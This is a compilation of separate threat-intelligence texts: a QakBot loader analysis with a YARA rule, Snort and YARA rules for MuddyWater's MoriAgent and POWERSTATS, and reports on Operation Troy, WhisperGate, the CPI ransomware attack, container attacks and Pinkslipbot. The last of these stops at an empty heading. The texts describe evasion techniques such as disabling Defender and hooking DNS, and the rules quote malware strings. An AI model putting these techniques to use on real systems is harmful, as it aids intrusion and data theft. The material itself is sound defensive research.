Emotet is known as the most popular threat distributing QakBot in the wild. However, after Emotet's takedown, QakBot operators are using specially targeted campaigns to disseminate this threat globally. QakBot can move laterally within internal environments to steal sensitive data, maintain internal persistence, or deploy other payloads like ransomware. Recent reports indicate it could drop other malware such as ProLock and Egregor ransomware.
QakBot is currently disseminated through targeted phishing campaigns in several languages, including Portuguese. The infection chain starts with a URL in the email body that downloads a zip archive containing an XLM or XLSM file (Excel) that exploits XLM 4.0 macros to download the second stage from compromised web servers. The second stage, in the form of a DLL with a random extension, is loaded into memory using the DLL injection technique via rundll32.exe. After that, the final payload (QakBot itself) is loaded in memory, and malicious activity begins. The malware is equipped with a list of hardcoded IP addresses from its botnet and receives commands and updates from the C2 server, including the deployment of additional payloads like ransomware.
## Dribbling AVs with XLM Macros
The malicious Office document, when opened, poses as a DocuSign file. These documents exploit Excel 4.0 macros stored in hidden sheets that download the QakBot second stage payload from the Internet. The DLL is written to disk and executed using the DLL injection technique via regsvr32 or rundll32 utilities.
According to a publication by ReversingLabs, “among 160,000 Excel 4.0 documents, more than 90% were classified by TitaniumCloud as malicious or suspicious.” If you encounter a document that contains XLM macros, it is almost certain that its macro will be malicious.
| Sample Classification | Count | Percentage |
|-----------------------|-------|------------|
| Goodware | 14458 | 9.1% |
| Suspicious | 738 | 0.5% |
| Malicious | 144052| 90.4% |
| Total | 159248| 100% |
The malware families detected in the sample set by ReversingLabs show that ZLoader and QakBot are the dominant malware families in the Excel 4.0 malware ecosystem.
### XLSM File – QakBot Loader
**Filename:** catalog-1712981442.xlsm
**MD5:** f86c6670822acb89df1eddb582cf0e90
**Creation time:** 2021-04-29 22:18:33
An XLSM file is a macro-enabled spreadsheet created by Microsoft Excel. These files contain worksheets of cells arranged by rows and columns, as well as embedded macros. The Excel document prompts the victim to enable macros to start the infection chain. The spreadsheet contains hidden sheets, Excel 4.0 macros, and formulas designed to pass visual inspection.
Looking at the internal XML files that are part of the Excel XLSM file, we can identify other hidden sheets inside the document. The names “Sheet1“, “Sheet2“, “Sheet3”, and “Sheet4” are present, with “Sheet2” triggering something when the document is opened using the “xlnm.Auto_Open” call.
This type of malicious document usually has an “Auto_Open cell,” and its functionality is similar to the “Sub AutoOpen()” function in VBA, which automatically runs macros when the victim presses the “Enable Content” button.
Investigating the internal file: shareString.xml reveals hardcoded strings, URLs, and other interesting content. The second stage will be downloaded from the previous URLs using the URLDownloadtoFile call, with some content appearing obfuscated.
### QakBot 2nd Stage – The Bait Loader
**Filename:** jordji.nbvt11
**Original filename:** rwenc.dll
**MD5:** 7d0f6c345cdaf9e290551b220d53cd14
**Creation time:** 2021-04-13 19:53:55
The QakBot second stage is a DLL loaded in memory, primarily tasked with executing the final payload (QakBot itself) and complicating malware analysis. This DLL employs a DLL injection technique, utilizing LoadLibraryA, VirtualAlloc, and VirtualProtect.
### QakBot Last Stage – The Beast
The last stage of this chain, QakBot itself, is also a DLL built with Microsoft Visual C++. The original name is stager_1.dll, and it exports only the function: DllRegisterServer. The QakBot DLL uses a new method for decrypting its configuration, taking the first 20 bytes of the resource as the RC4 key and using SHA1 verification for the rest of the decrypted data.
Some samples of QakBot trojan are signed PE files with valid signatures issued by several CAs. The malware author adds junk code to complicate analysis, inserting a lot of API calls that alternate between real instructions to increase analysis time.
The strings inside QakBot are encrypted, decrypted at runtime, and destroyed after use. The malware employs anti-debugging and protection mechanisms, injecting code into various processes to evade detection.
### Final Thoughts
QakBot is a sophisticated trojan designed to collect banking information from victims’ devices, primarily targeting US organizations. It is equipped with various evasion and info-stealing routines, as well as worm-like functions for persistence.
### Yara Rule
```yara
import "pe"
rule QakBot_May_2021 {
meta:
description = "Yara rule for QakBot trojan - May version"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2021-05-04"
tlp = "white"
category = "informational"
strings:
$ident_a = {69 6E 66 6C 61 74 65}
$ident_b = {64 65 66 6C 61 74 65}
condition:
filesize < 500KB
and pe.characteristics & pe.DLL
and pe.exports("DllRegisterServer")
and all of ($ident_*)
}
```
### References
- ReversingLabs Blog
- Any.run Malware Trends
- Tria.ge
- Ghidra Script Analysis
- CyberInt Blog
- N1ght-w0lf Blog
- VinCSS Blog
- Red Canary Threat Detection Report
**Pedro Tavares** is a professional in information security, working as an Ethical Hacker/Pentester, Malware Researcher, and Security Evangelist. He is a founding member at CSIRT.UBI and Editor-in-Chief of the security blog seguranca-informatica.pt.
|
# How to Stop MortiAgent Malware Using the Snort Rule
I want to stop the MortiAgent malware by applying the Snort rule and also using the YARA rule. How to configure this in Palo Alto?
## Snort Rule
The below SNORT rule can be used to detect the MortiAgent Beacon.
```plaintext
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MortiAgent Beacon HTTP Request"; content:"/Index.php?i="; depth:200; content:"&t="; within:64; content:"HTTP/1.1"; within:64; content:"Content-Type: application/json"; within:32; content:"Content-Length: 0"; within:90; threshold:type limit,track by_src,count 1,seconds 120; sid:1000001; rev:001;)
```
## YARA Rules
### Rule to Detect Substitution Table in PowerShell Code
```plaintext
rule SubstitutionTable_in_PowerShell {
meta:
description = "Detect the substitution table used in PowerShell code (2019-2020)"
hash = "A18016AF1E9ACDA5963112EE8BEEB28B"
strings:
$a1 = "Replace('(','a'"
$a2 = "Replace(')','b'"
$a3 = "Replace('{','c'"
$a4 = "Replace('}','d'"
$a5 = "Replace('[','e'"
$a6 = "Replace(']','f'"
condition:
$a1 and $a2 in (@a1..@a1+200) and $a3 in (@a1..@a1+200) and $a4 in (@a1..@a1+200) and $a5 in (@a1..@a1+200) and $a6 in (@a1..@a1+200) and filesize < 100000
}
```
### Rule to Detect PowerStats Backdoor
```plaintext
rule POWERSTATS_JscriptLauncher {
meta:
description = "POWERSTATS Jscript Launcher"
hash = "6C97A39A7FFC292BAF8BE1391FCE7DA0"
strings:
$a1 = "$s=(get-content"
$a2 = "Get('Win32_Process').Create(cm"
$a3 = "var cm="
condition:
all of them and filesize < 600
}
```
### Rule to Detect PowerStats De-obfuscated
```plaintext
rule POWERSTATSLite {
meta:
hash = "A18016AF1E9ACDA5963112EE8BEEB28B"
strings:
$a1 = "$global:key"
$a2 = "$global:time"
$a3 = "webreq = [System.Net.WebRequest]::Create($url)"
condition:
all of them and filesize < 3000
}
```
### Rule to Detect MoriAgent Implant
```plaintext
rule MoriAgent {
meta:
description = "C++ MuddyWater implant"
hash = "12755B210EC1171045144480ACD05AA8"
strings:
$f1 = "|x7d873iqq" ascii fullword
$f2 = "ljyfiiwnskt" ascii fullword
$f3 = "htssjhy" ascii fullword
$f4 = "kwjjfiiwnskt" ascii fullword
$f5 = "hqtxjxthpjy" ascii fullword
$f6 = "\\XFXyfwyzu" ascii fullword
$f7 = "\\XFHqjfszu" ascii fullword
$f8 = "ZmilXzwkm{{Umuwz" ascii fullword
$f9 = "^qz|}itXzw|mk|" ascii fullword
$f10 = "_zq|mXzwkm{{Umuwz" ascii fullword
$content = "Content-Type: application/json" ascii fullword
condition:
uint16(0) == 0x5A4D and filesize < 2MB and $content and 5 of ($f*)
}
```
### Rule to Detect PowerStats Implants
```plaintext
rule POWERSTATS_Implants {
meta:
description = "Detects all POWERSTATS implants"
hash = "A18016AF1E9ACDA5963112EE8BEEB28B"
hash = "409558610BE62655FBA0B1F93F2D9596"
hash = "DD32B95F865374C31A1377E31FA79E87"
strings:
$a1 = "if ($resp -ne $null){"
$a2 = "out = $_.Exception.Message"
$a3 = "IEX $cmd -ErrorAction SilentlyContinue"
condition:
all of them and filesize < 50000
}
```
|
# Dissecting Operation Troy: Cyberespionage in South Korea
## Executive Summary
South Korea was hit by a major cyberattack on March 20, 2013, at 2:00 pm local time. This cyberattack caused a significant amount of damage to the affected organizations by wiping the hard drives of tens of thousands of computers. McAfee Labs research provides further insight into the likely source of these attacks. Though not definitive, our analysis provides a much clearer picture. The research also indicates that there may have been two distinct groups attacking different targets. Our analysis of this attack—known first as Dark Seoul and now as Operation Troy—has revealed that in addition to the data losses of the master boot record (MBR) wiping, the incident was more than cyber vandalism. The attacks on South Korean targets were actually the conclusion of a covert espionage campaign.
## Attack Timeline
Our analysis suggests the following order of these attacks:
1. The remote-access Trojan was compiled January 26, 2013.
2. The component to wipe the master boot record (MBR) of numerous systems was compiled January 31.
3. An initial victim within the organization was spear-phished with the remote-access Trojan. This likely occurred before March 20 and possibly weeks prior to the attack.
4. The dropper was compiled March 20, hours before the attack occurred.
5. The dropper was distributed to systems across the victim organizations, and, within minutes of execution, the MBRs were wiped. This occurred around 2:00 pm Seoul time on March 20.
## State Sponsorship or Cyber Terrorism?
Who conducted these attacks is still unclear, but our research gives some further insight into the likely source. The clues left behind confirm that the two groups claiming responsibility were a fabrication to throw investigators off the trail and to mask the true source.
### The Adversaries
The two groups that appear to have been involved in the attacks have had no prior connection until now.
- **New Romanic Cyber Army Team**: The samples connected to this group are more convincing. The majority of the wipers found in the wild and retrieved from infected systems through other sources contain the strings “principes” and “hastati,” which also appear in a message left on one of the targeted websites in the form of a web pop-up. The wiper component also overwrote the MBR with one of these strings. The following data points support this fact:
- The strings “principes” and “hastati” were found within the code of some of the wiper components.
- The same strings were also found in the web pop-up message that was left on the Nocut News Korea website. The strings are ancient Roman terms that make reference to military units, hence a “cyber army.” The pop-up even states some of the specific units that were part of hastati which were involved in this attack.
- **Whois Hacking Team**: On March 20, the website of the network provider LG +U was defaced by this group. Was it a coincidence that a second group was involved? All of the evidence indicates that they had a strong involvement, but there is no solid link to the group because it did not claim involvement in the attacks.
State sponsored or not, these attacks were crippling nonetheless. The overall tactics were not that sophisticated in comparison to what we have seen before. The trend seems to be moving toward using the following techniques against targets:
- Stealing and holding data hostage and announcing the theft—public news media have reported only that tens of thousands of computers had their MBRs wiped.
- Wiping the MBR to render systems unusable, creating an instant slowdown to operations within the target.
## The Analysis
What were the motives behind these attacks, and why did the attackers choose certain targets? The attacks managed to create a significant disruption of ATM networks while denying access to funds. This wasn’t the first time that this type of attack—in which destructive malware wiped the systems belonging to a financial institution—has occurred in South Korea. In 2011, the same financial institution was hit with destructive malware that caused a Denial-of-Service.
The attackers left a calling card after the attacks in the form of a web pop-up message claiming that the New Romanic Cyber Army Team was responsible and had leaked private information from several banks and media companies. They also referenced destroying the data on a large number of machines (the MBR wiping) and left a message in the web pop-up identifying the group behind the attacks.
### The Malware
A few types of malware were involved in these attacks. Each variant had a particular use. Some public reports mentioned only the use of the wiper component. However, there were actually three components, all with a different purpose, that assisted the attackers in the campaign.
| Component | Purpose | File Size | Compile Date |
|-------------------|--------------------------------------------------|-----------|-----------------------|
| Dropper Trojan | Installs the MBR wiper | 418 Kb | March 20, 2013 |
| MBR Wiper | Wipes the MBR of the disk | 24 Kb | January 31, 2013 |
| Remote-Access Trojan | Provides backdoor access to attackers | 46 Kb | January 26, 2013 |
The attackers have attempted since 2009 to install the capability to destroy their targets using an MBR wiper component, as seen in the Dark Seoul incident.
## Conclusion
McAfee Labs can connect the Dark Seoul and other government attacks to a secret, long-term campaign that reveals the true intention of attempting to spy on and disrupt South Korea’s military and government activities. The Troy-era malware is based on the same source code used to create these specialized variants and shares many commonalities, such as bs.dll and payload.dll, which are found consistently throughout the families. The attackers have attempted since 2009 to install the capability to destroy their targets using an MBR wiper component, as seen in the Dark Seoul incident.
## About the Authors
Ryan Sherstobitoff is a threats researcher with McAfee Labs. Formerly, he was Chief Security Strategist at Panda Security, where he managed the US strategic response for new and emerging threats. Sherstobitoff is widely recognized as a security and cloud computing expert.
Itai Liba is a senior security researcher with McAfee Labs. He is a member of the botnet research team. Itai has worked in mobile vulnerability research as well as large-scale reverse-engineering projects and display driver development. He has more than 10 years of experience in reverse engineering.
## About McAfee Labs
McAfee Labs is the global research team of McAfee. With the only research organization devoted to all threat vectors—malware, web, email, network, and vulnerabilities—McAfee Labs gathers intelligence from its millions of sensors and its cloud-based service McAfee Global Threat Intelligence. The McAfee Labs team of 500 multidisciplinary researchers in 30 countries follows the complete range of threats in real time, identifying application vulnerabilities, analyzing and correlating risks, and enabling instant remediation to protect enterprises and the public.
|
# HUNTER EMERGING THREATS
## WHISPERGATE MALWARE - UPDATE
Cyborg Security has published additional hunt packages, as well as updated a hunt package already available in the Hunter platform, as a result of additional analysis and research of the WhisperGate attack. These new packages work to identify techniques employed by WhisperGate specifically, as well as broader techniques employed by multiple malware variants. Each of the packages helps to identify a portion of the attack chain observed by the stage 2 and stage 3 binaries utilized in the WhisperGate attack against the Ukrainian government in January 2022. Multiple packages were developed around general techniques, with the intent to identify future attacks by the same group or malware, even if revisions are made, as well as other malwares employing techniques in similar ways.
## Threat Summary
The WhisperGate malware variant was first identified by the MSTIC (Microsoft Threat Intelligence Center) on January 13, 2022, and has been attributed to the nation-state threat group given the name "DEV-0586" (temporary name given by MS until origin/identity is received). This threat group has been observed conducting operations on Ukrainian government and organizations during the geopolitical tensions between Ukraine and Russia. Specific intent and targets were not identified in the MSTIC article, but due to the political climate, systems within or associated with Ukraine should be prepared accordingly. As of today, there have been dozens of impacted systems identified and potentially growing that fall under that umbrella.
The variant has been observed as a wiper, disguised as ransomware—similar to the NotPetya attack in 2017. Seen in both variants, a ransom demand is displayed upon boot but is deceptive, as the malware wipes data files rather than encrypting them like typical ransomware does. The intent is destruction rather than using the data as leverage. Although currently targeting Ukraine, the potentiality of this malware or a modified version of it or its techniques being utilized by another threat group is possible.
## Synopsis
The WhisperGate malware variant was discovered targeting Ukrainian government and organizations in early January by the MSTIC and identified as a form of wiper malware that is masquerading as ransomware. Although the variant is designed to be ransomware, there is no intention of allowing the recovery of the data that is affected. This reveals that the intent of the actor is seeking damage rather than leverage with infections.
The malware has been observed to have two stages. The first is the overwriting of the Master Boot Records—this is where the fake ransom note is revealed to the victim. Due to the Master Boot Record being corrupted/overwritten, the recovery of the system if the user decides to potentially reboot or shutdown/startup is compromised. The MSTIC report mentions that the ransom note is unusual in the way it is crafted, with irregularities including the same explicit payment amounts and wallet addresses being specified for each note and the absence of a custom ID that a victim is usually told to reference in communications.
The second stage that has been observed is the execution of a downloader (identified as Stage2.exe), which pulls the next stage malware and executes it in memory. The malware then sprawls and corrupts files in specified directories on the system with specific file extensions (the specific extensions can be found in the MSTIC report). The corruption entails the overwriting of the contents of the file and renaming them with a random extension.
Further information regarding WhisperGate, as well as the extensions mentioned and IOCs identified, can be found at the original MSTIC article.
## Hunt Packages
### AdvancedRun/InstallUtil Utilities Executed From Unusual Directory
As part of stage 3 and stage 4 of the WhisperGate malware attack, the WhisperGate malware dropped AdvancedRun.exe to the host's temp directory and copied InstallUtil.exe from its default location to AppData\Local\Temp. In the case of InstallUtil.exe, the malware utilized this for process hallowing to have a legitimate appearing binary running malicious code injected by WhisperGate. The AdvancedRun.exe utility was utilized by WhisperGate to further impair Windows Defender beyond the path exclusions added by a VBS file.
### Microsoft Defender Overly Broad Exclusion Change via PowerShell - Potential Malware Infection
Microsoft Windows Defender can be modified via PowerShell Set-MpPreference function. This allows setting exclusions for folders, processes, extensions, IPs, as well as other configuration changes. Although a package already available in Hunter could identify when the Set-MpPreference was utilized, this package focuses more on the specific folders being added as exclusions. The logic was developed based on research performed by Cyborg Security analysts, revealing several commands performed by PowerShell to inhibit Windows Defender's abilities to protect the compromised host. In the WhisperGate attack, the C:\ "folder" (root drive) was added as an excluded path. Cyborg Security analysts took this a step further and added other commonly abused folders by malware, which may be attempted in future attacks to exclude from monitoring or protection.
### VBS File Written to AppData\Local\Temp Directory - Potential Defense Evasion
Analysis and research revealed the stage 3 binary associated with the WhisperGate malware attack on the Ukrainian government, the use of a VBS file dropped into the host's temp directory. This VBS file, located in AppData\Local\Temp, was utilized to run PowerShell commands to impair Windows Defender.
### Windows Defender Bypass via Deleting the Directory - CommandLine Arguments
This package identifies the activity surrounding command-line arguments that are executed to remove the Windows Defender directory (C:\ProgramData\Microsoft\Windows Defender) via PowerShell script block logging.
### Execute Payload as Trusted Installer
This will identify the use of administrative tools to execute a payload as a Trusted Installer in order to elevate privileges and bypass security controls.
### Windows Defender Tampering - Possible Malware Activity
### DLL File Dropped in AppData Directory Matching WhisperGate Schema
### Potential Download from Discord - Known Malware Delivery Technique
### Network Activity to Discord By Non-Discord App - Possible Malware Payload Delivery
### WScript Executing VBS From Temp Folder Locations - Potential Malware
## Context
**MITRE:**
**Technique Names:**
- InstallUtil
- Access Token Manipulation
- Command and Scripting
- Interpreter
- Visual Basic
- Trusted Developer Utilities Proxy Execution
- PowerShell
- Disable or Modify Tools
- Process Injection
- Ingress Tool Transfer
- Web Service
**Threat Names:**
- WhisperGate
- Meteor
|
# Defense Contractor CPI Knocked Offline by Ransomware Attack
A major electronics manufacturer for defense and communications markets was knocked offline after a ransomware attack, TechCrunch has learned. A source with knowledge of the incident told TechCrunch that the defense contractor paid a ransom of about $500,000 shortly after the incident in mid-January, but that the company was not yet fully operational.
California-based Communications & Power Industries (CPI) makes components for military devices and equipment, like radar, missile seekers, and electronic warfare technology. The company counts the U.S. Department of Defense and its advanced research unit DARPA as customers. The company confirmed the ransomware attack.
“We are working with a third-party forensic investigation firm to investigate the incident. The investigation is ongoing,” said CPI spokesperson Amanda Mogin. “We have worked with counsel to notify law enforcement and governmental authorities, as well as customers, in a timely manner.”
According to the source, a “domain admin” — a user with the highest level of privileges on the network — clicked on a malicious link while they were logged in, which triggered the file-encrypting malware. Because the thousands of computers on the network were on the same, unsegmented domain, the ransomware quickly spread to every CPI office, including its on-site backups, the source said.
The source described the company in “panic mode,” as only about one-quarter of its computers are back up and running as of the end of February. Short staffing is hampering the effort, the source said. Some computers containing sensitive military data have been recovered using the decryption key, which the company obtained by paying the ransom. One system is said to have files related to Aegis, a naval weapons system developed by Lockheed Martin.
“We are aware of the situation with CPI and are following our standard response process for potential cyber incidents related to our supply chain,” said a Lockheed spokesperson. Many of the remaining computers are having their operating systems installed from scratch, the source said. A portion of the defense contractor’s systems — about 150 computers — are still running Windows XP, which stopped receiving security patches in 2014.
But it’s not known what kind of ransomware was used in the attack. CPI’s spokesperson did not answer any of our questions and declined to comment further beyond the brief statement.
CPI becomes the latest victim in a spate of attacks targeting large companies in the past month. This week alone saw legal services giant Epiq Global knocked offline by a ransomware attack, and Visser, a parts manufacturer for Tesla and SpaceX, was hit by a new kind of data-stealing ransomware, dubbed DoppelPaymer, which not only encrypts files but first exfiltrates company data to the hackers’ servers. The hackers behind the DoppelPaymer attack began publishing Visser’s internal files last week after the company did not pay the ransom.
Brett Callow, a threat analyst at security firm Emsisoft, said the tactics of traditional file-encrypting ransomware have changed. “These incidents should be considered to be breaches — and disclosed and reported as such — from the get-go,” said Callow. “Criminals are getting too much time to misuse data while companies/people have no reason to be suspicious.”
|
# Cloud Native Threat Report
## Attacks in the Wild on the Container Supply Chain and Infrastructure
**June 2021**
## Introduction
Since our previously published threat report, malicious actors have continued to advance and adapt their tactics, targeting both the software supply chain of cloud native applications, as well as their infrastructure. This report covers data collected from honeypots over a period of six months, and in that period our team observed 17,358 individual attacks.
## Key Findings
- Bad actors are getting better at hiding their attacks using advanced techniques, such as executing malware straight from memory, packing binaries, and using rootkits.
- Attackers are leveraging privilege escalation techniques and attempting to escape from within containers to the host machine.
- Adversaries keep searching for new ways to attack cloud native environments. We identified massive campaigns targeting supply chains, the auto-build process of code repositories, registries, and CI service providers. This was not a common attack vector in the past.
- Adversaries are saving resources and becoming more efficient by using readily available offensive security tools. This helps them to find vulnerabilities and exploit them, and saves the time of developing their own tools.
- While many attacks set cryptocurrency mining as their objective, some attempt to hide more sinister objectives, such as backdoors, malware deployments, and credential theft.
- Attack volume continued to increase, growing by 26% between H1 and H2 of 2020.
## Attack Patterns Overview
The attack patterns we observed have shown the ability to branch out and morph according to the attack target’s security gaps, progressively attempting to achieve bolder outcomes.
### Attack Types
- **Backdoor**
- **Cron job on the host**
- **Container escape**
- **Random/alpine:latest**
- **Offensive Security Tool - Post exploitation SSH keys stealer**
## Observed Attacks on Cloud Native
We classified the attacks based on the level of sophistication used in the container images, and on their impact.
### Attacks by Image Classification
- **Legitimate Image Name**: These attacks use a dedicated image that delivers and executes malicious code. The author of the image might use various techniques to avoid detection, such as turning off security tools or obfuscating files.
- **Vanilla Image — Malicious Command**: This type of attack uses a vanilla, or innocuous-looking image such as Alpine or Ubuntu, not designed to deliver a payload or run malicious code. The payload is delivered and initiated at a later stage by the entry-point command that downloads malicious components during runtime.
- **Building Directly on Hosts**: In the second half of 2020, we saw a new type of attack — building the image directly on the target host. The adversaries used a Docker SDK for Python package to send commands to a misconfigured Docker API.
## Behavior and Trend Analysis
During the second half of 2020, we observed and tracked attacks to identify trends and behaviors, which we mapped to the MITRE ATT&CK framework.
### Image Classification
The adversaries mostly use vanilla images (about 95%) to conceal their campaigns and avoid detection or blocking by security tools.
### Distribution of Attacking Images Used Per Day
We observed that on average 3.78 different images were used for attacks every day (ranging from 1 to 8 images). Compared with the first half of 2020, where the average was 2.75 images used per day, this shows that attackers are diversifying their techniques to try new ways to penetrate and exploit vulnerable environments.
## Attacking IP Addresses (Inbound Communication)
All IP addresses used in the attacks were linked to cloud and hosting service providers. Our honeypots recorded incoming traffic from Russia (17.3%) and the US (15.9%). Surprisingly, only 13.43% of the IP addresses are marked as malicious in block lists.
## Command and Control (C2) Server Communication
We found that most outbound communication was with C2 servers, mining pools, and code repositories.
### Malicious C2 Servers
- Most communication was with the C2 servers of the Kinsing malware.
- We clustered the IP addresses based on their CIDR ranges and found that the most frequent communication was with AWS IP addresses.
- We’ve also seen communication with internal ranges, which may indicate that attackers are seeking cloud metadata.
## Analysis Based on MITRE ATT&CK Framework for Containers
The MITRE ATT&CK framework is used worldwide by cybersecurity practitioners to describe the taxonomy for both the offense and defense cyberattack kill chain.
### Initial Access
- **Exploit Public-Facing Application**: These attacks mostly exploit a misconfigured Docker API port exposed to the internet.
- **Container Image Lookalikes**: Adversaries create public registries accounts lookalikes that mimic popular software or packages to trick innocent developers and DevOps to pull and run these malicious container images.
### Execution
- **Scripting**: Attackers abused command and script interpreters to execute malicious commands, scripts, or binaries.
- **Local Job Scheduling**: After mounting the host, the attacker can schedule a cron job on the host to schedule a malicious command execution.
### Persistence
- **Hijack Execution Flow (LD_PRELOAD)**: LD_PRELOAD is a dynamic linker functionality that allows the user to load the libraries set in the LD_PRELOAD before any other libraries.
- **Create Account**: Creating a new user (privileged) by creating a new user and adding an RSA key allows adversaries to fully control the host.
### Privilege Escalation
- **HostPath Mount**: Mounts a directory or a file from the host to the container.
### Defense Evasion
- **Impair Defenses**: Adversaries remove security software to avoid detection.
- **Obfuscated Files or Information**: Attackers often use packers as a defensive evasion technique to compress a malware file without affecting its code and functionality.
### Credential Access
- **Credentials from Password Stores**: Adversaries use open-source tools to collect credentials.
### Command and Control
- **Proxy**: Reverse proxy tools can create a secure tunnel to servers located behind firewalls.
### Exfiltration
- **Exfiltration Over C2 Channel**: We’ve seen automated exfiltration of AWS credentials over the C2 server.
## Impact
Cryptocurrency mining remains the main objective of most attacks, with more than 90% of the images executing resource hijacking. But new objectives for these attacks are emerging.
## Conclusions
Our analysis of attacks on the Team Nautilus honeypots results in several key observations and trends.
1. The mean number of instances misconfigured by customers is increasing.
2. Adversaries are using more sophisticated techniques to increase the chances of a successful attack with a bigger impact.
3. Attacking through the supply chain may reveal troubling future threats.
4. Botnets are swiftly finding and infecting new hosts as they become vulnerable.
5. The volume of attacks against container environments is increasing, demonstrating that organized and well-funded teams are behind them.
6. Attackers are adapting their techniques much faster, creating a more rapid cat-and-mouse game.
## Appendix A
### Detailed Analysis of the Attacks
In the following section, we present a detailed analysis of high-profile attacks that we uncovered.
### List of Reports
- **Alpine - Open Shell**: The attacker opened shell from remote.
- **ubuntu:18.04 bin-bash**: The attacker opened shell from remote.
- **Alpine d.sh**: The attacker ran a code in cmd that downloaded the malicious script d.sh, it later downloaded kinsing malware.
- **TeamTNT blackT campaign**: The attacker pulled a malicious container image from a public registry in Docker Hub.
- **TeamTNT encoded**: The attacker ran a remote code with a malicious binary encoded in base64 in the cmd.
- **TeamTNT kaiserfranz campaign**: The attacker downloaded a malicious file in the cmd.
- **TeamTNT meow**: The attacker downloaded a malicious file in the cmd.
- **TeamTNT small campaign**: The attacker pulled a malicious container image from a public registry in Docker Hub.
- **TeamTNT speedrun campaign**: The attacker pulled a malicious container image from a public registry in Docker Hub.
- **The xms attack**: The attacker downloaded a malicious file in the cmd.
- **TeamTNT mo.jpg**: The attacker downloaded a malicious file in the cmd.
- **ubuntu 1sh**: The attacker downloaded a malicious file in the cmd.
- **XMR downloaded from C2**: The attacker downloaded and executed the binary.
- **alpine autom**: The attacker downloaded a malicious file in the cmd.
- **Build on host**: The attacker builds the container image on the host and runs it.
### How We Analyzed the Attacks
The analysis of each attack was conducted using Aqua’s Dynamic Threat Analysis (DTA) tool. Aqua DTA is powered by our open-source project Tracee, which enables you to perform runtime security and forensics in a Linux environment using eBPF.
Aqua’s Team Nautilus focuses on cybersecurity research of the cloud native stack. Its mission is to uncover new vulnerabilities, threats, and attacks that target containers, Kubernetes, serverless, and public cloud infrastructure.
**Copyright ©2021 Aqua Security Software Ltd., All Rights Reserved**
|
# Diving into Pinkslipbot’s Latest Campaign
**Sanchit Karve, Guilherme Venere & Mark Olea**
Intel Security, USA
Email: {sanchit.karve, guilherme.venere, mark.olea}@intel.com
## Abstract
W32/Pinkslipbot (a.k.a. Qakbot), an information stealer active since 2007, is known to be released consistently by its actors in waves between hiatuses. In order to cover their tracks, the attackers use the bot to transfer encrypted stolen credentials onto a compromised FTP server, allowing them to transfer the encrypted files at their convenience without revealing their IP addresses to malware researchers.
Based on four months of Pinkslipbot infection telemetry, Intel Security has seen infections from more than 100 unique Pinkslipbot versions spread across 92,000 machines in 120 countries, which include several medical and educational institutions as well as numerous government and military organizations, primarily in North America. The malware is known to steal digital certificates, email and online banking credentials, medical histories, credit card and social security numbers, email addresses and phone numbers, social media accounts and credentials for internal resources. Such copious amounts of confidential information and intellectual property stolen from businesses (including software companies) demonstrate the extent of damage the bot can cause. This paper presents a detailed account and analysis of the malware’s components, the bot’s incremental evolution, the potential connection with the groups behind Dridex, NeverQuest, and Hesperbot, and describes a key mistake made during the malware release process that accelerated our analysis.
## Prevalence and Success of Malware
Qakbot has changed significantly since it first appeared in the wild, but its motives and targets have remained constant over the years. Our analysis of data obtained from customer submissions, detection telemetry, and data sent to compromised servers suggests that Pinkslipbot targets North America and Western Europe almost exclusively, particularly the healthcare, education, manufacturing, and public sector industries. These alone account for almost 95% of all Qakbot infections.
| Country | Share of total unique infections |
|------------------|---------------------------------|
| United States | 84.4% |
| Canada | 8.45% |
| Great Britain | 2.18% |
| Australia | 0.58% |
| France | 0.46% |
*Table 1: Top five countries infected by Pinkslipbot during Feb – May 2016.*
Despite targeting North America, Pinkslipbot has spread across 146 countries with more than 106 unique Pinkslipbot versions still active as of June 2016. Windows 7 was by far the most affected operating system infected by Qakbot until early May 2016.
On average, the malware is successfully able to steal over half a million records (i.e., login credentials, keystrokes, browser sessions, and certificates) per day. As it targets enterprise systems, it gets the most out of its botnet on weekdays, as most infected machines are likely not used at weekends.
The malware maintains an average of about 5,000 to 6,000 infected machines at any given point in time, which is significantly smaller than most botnets. To give an idea as to how small that is, the Beebone Botnet still has more than 25,000 active infections per day despite its takedown in April 2015 by several global law enforcement agencies in collaboration with Intel Security. The attacker group struggles to maintain the botnet size as most of its active infections arrive from new infections.
Pinkslipbot makes up for its tiny botnet size with well-chosen targets. As enterprise machines in critical industries within the United States are targeted, it manages to squeeze out vast amounts of valuable data, including medical records, financial information, and corporate emails. In the four months in which we tracked the botnet, it stole more than 88.1 gigabytes of data, averaging around 5.5 gigabytes per week – 2.75 times more than was previously estimated in 2010.
The majority of keylogger data stolen by Pinkslipbot arrives from web browsers (Google Chrome, Internet Explorer, and Mozilla Firefox, in that order), Microsoft Outlook, a popular remote desktop tool, Microsoft Word, and several ERP and medical applications. Browser injections yield additional valuable data for the attacker group behind the botnet. Intel Security detected a majority of credentials and sessions stolen over HTTPS from websites related to healthcare, corporate web mail, and social media. For reasons unknown to us, Pinkslipbot binaries look explicitly for Facebook login credentials among few others, and the malware managed to steal close to 60,000 Facebook profile credentials.
## Initial Infection Vector and Subsequent Updates
Qakbot is usually installed on a vulnerable computer through exploit kits like Sweet Orange and RIG by exploiting unpatched vulnerabilities in Java and Adobe Flash browser plug-ins. Once the malware executes on a system, it drops an obfuscated JavaScript file and registers it as a scheduled task to run every 15 hours. The JavaScript file downloads new Qakbot binaries from compromised domains. As the delivery mechanism uses server-side polymorphism, it serves a unique sample for every download request. Optionally, Qakbot can update itself through the ‘updbot’ command sent by its command-and-control (C&C) server.
Pinkslipbot uses several loosely coupled components located on independent (compromised) servers. The relationships between every component that involves network communication directly or indirectly with a Pinkslipbot binary are significant. Most components are covered in satisfying detail by existing research, this paper focuses instead on undocumented and relatively unknown information. This includes the DNS poisoning feature, the connected nature of three server types, and Qakbot’s use of ATSEngine and Yummba to silently transfer currency out of bank accounts and acquire answers to the secret questions often associated with financial accounts.
Pinkslipbot attempts to disable the web reputation products of McAfee, AVG, and Symantec by hooking DNS APIs and returning invalid IP addresses for the following domains:
- siteadvisor.com
- avgthreatlabs.com
- safeweb.norton.com
## Conclusion
